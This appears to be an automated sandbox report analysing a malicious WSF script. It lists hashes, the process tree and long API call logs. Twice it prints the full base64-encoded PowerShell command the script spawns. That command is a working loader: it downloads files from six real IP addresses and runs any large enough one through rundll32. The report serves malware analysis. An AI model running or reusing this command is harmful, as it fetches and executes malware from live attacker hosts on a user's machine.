popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Keep.Exmw6519.wsf

Generic Malware Antivirus AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 April 14, 2023, 9:27 a.m. April 14, 2023, 9:30 a.m.
Size 276.1KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 a4715df1a2ce5a56194aa2a4bca18930
SHA256 db9e529aac9e204f8d170a05b69532bafed0c1e50a4071a27158a9d8dd75a16f
CRC32 DD4DFC4C
ssdeep 6144:Utwntf/U0HozfEL9cjF7hY8pxzUi9G8wipoiHWfHJwKzw3zdcJ74uxPu6X3nJmey:UeSODLZT8T
Yara
  • Generic_Malware_Zero - Generic Malware

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Keep.Exmw6519.wsf

    2032

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="

      1188

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cf080
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cedc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cedc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cedc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce9c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce4c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce4c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce4c0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cefc0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cee80
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce600
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02830000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1188
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02682000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02683000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02684000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02685000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02686000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05100000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05101000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05102000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05103000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05104000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05105000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05106000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05107000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05108000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05109000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0510f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05110000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05111000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05112000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05113000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1188
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05114000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AOAA3AC4AMgAzADYALgAxADQANgAuADkAMwAvAHMAVQBYAEQASwBWAE8AOABDADcAcgB1AC4AZABhAHQALABoAHQAdABwADoALwAvADcAMAAuADMANAAuADIAMQA4AC4AOAA1AC8AcgA2AFEANwBKAHYAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADQALgAxADEAOQAuADEAOQAzAC4ANAA5AC8ASwB6AG0ANQBMAEEALgBkAGEAdAAsAGgAdAB0AHAAOgAvAC8AMQA1ADQALgA0ADcALgAxADcALgAxADgAMAAvAEIAdwBUADMAQwBVAEcAagAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA3ADkALgAxADQAMQAuADEANwA0AC4AMgA1ADMALwBsAEsAWgA4ADMAOAAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADQANwAuADEAMwA1AC4AMgA0ADgALgAyADUAMAAvAGYANQBTAEsATgBZAEcAZAAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGQAbwBsAGQAcgB1AG0AcwAgAGkAbgAgACQAcwBlAHIAcABlAG4AdABpAGwAZQBFAG4AdABvAHAAZQByAGkAcABoAGUAcgBhAGwAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAGQAbwBsAGQAcgB1AG0AcwAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANwAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAaQBuAHQAZQByAGMAYQByAHQAaQBsAGEAZwBpAG4AbwB1AHMATgBvAG4AYwBhAG4AYwBlAGwAbABhAGIAbABlAC4ARgBlAHMAdAB1AGMAaQBuAGUAUQB1AG8AdABpAGQAaQBhAG4AOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABpAG4AdABlAHIAYwBhAHIAdABpAGwAYQBnAGkAbgBvAHUAcwBOAG8AbgBjAGEAbgBjAGUAbABsAGEAYgBsAGUALgBGAGUAcwB0AHUAYwBpAG4AZQBRAHUAbwB0AGkAZABpAGEAbgAsAE4AaQBrAG4AOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="
